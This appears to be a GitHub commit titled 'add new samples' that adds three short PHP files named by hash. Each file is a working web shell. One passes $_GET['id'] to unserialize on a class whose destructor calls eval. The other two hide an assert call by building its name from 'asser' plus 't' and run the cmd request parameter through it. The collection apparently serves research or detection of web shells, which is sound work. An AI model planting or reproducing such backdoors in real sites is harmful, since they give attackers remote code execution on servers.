Skip to content

Commit

Permalink
add new samples
Browse files Browse the repository at this point in the history
  • Loading branch information
[email protected] committed Apr 26, 2017
1 parent 0a08159 commit b1e02d1
Show file tree
Hide file tree
Showing 3 changed files with 38 additions and 0 deletions.
13 changes: 13 additions & 0 deletions php/6246f5f2dc1cfff4f994fa6ee70ed0d04c94883c.php
Original file line number Diff line number Diff line change
@@ -0,0 +1,13 @@
<?php

class foo{
public $data="text";
function __destruct()
{
eval($this->data);
}

}

$file_name=$_GET['id'];
unserialize($file_name);
17 changes: 17 additions & 0 deletions php/f1c9757a94f46b4abd4f738acd37e52778ca61ac.php
Original file line number Diff line number Diff line change
@@ -0,0 +1,17 @@
<?php
class talker{
public $data = 'Hi';
public function & get(){
return $this->data;
}
}
$aa = new talker();
$d = &$aa->get();
$d = $_GET[cmd];
function foo(&$var)
{
$var=$var.'t';
}
$a="asser";
foo($a);
$a($aa->data);
8 changes: 8 additions & 0 deletions php/f3e8a92101dfed2040cd66268277f9ee360d5fff.php
Original file line number Diff line number Diff line change
@@ -0,0 +1,8 @@
<?php
function foo(&$var)
{
$var=$var.'t';
}
$a="asser";
foo($a);
$a($_GET[cmd]);

0 comments on commit b1e02d1

Please sign in to comment.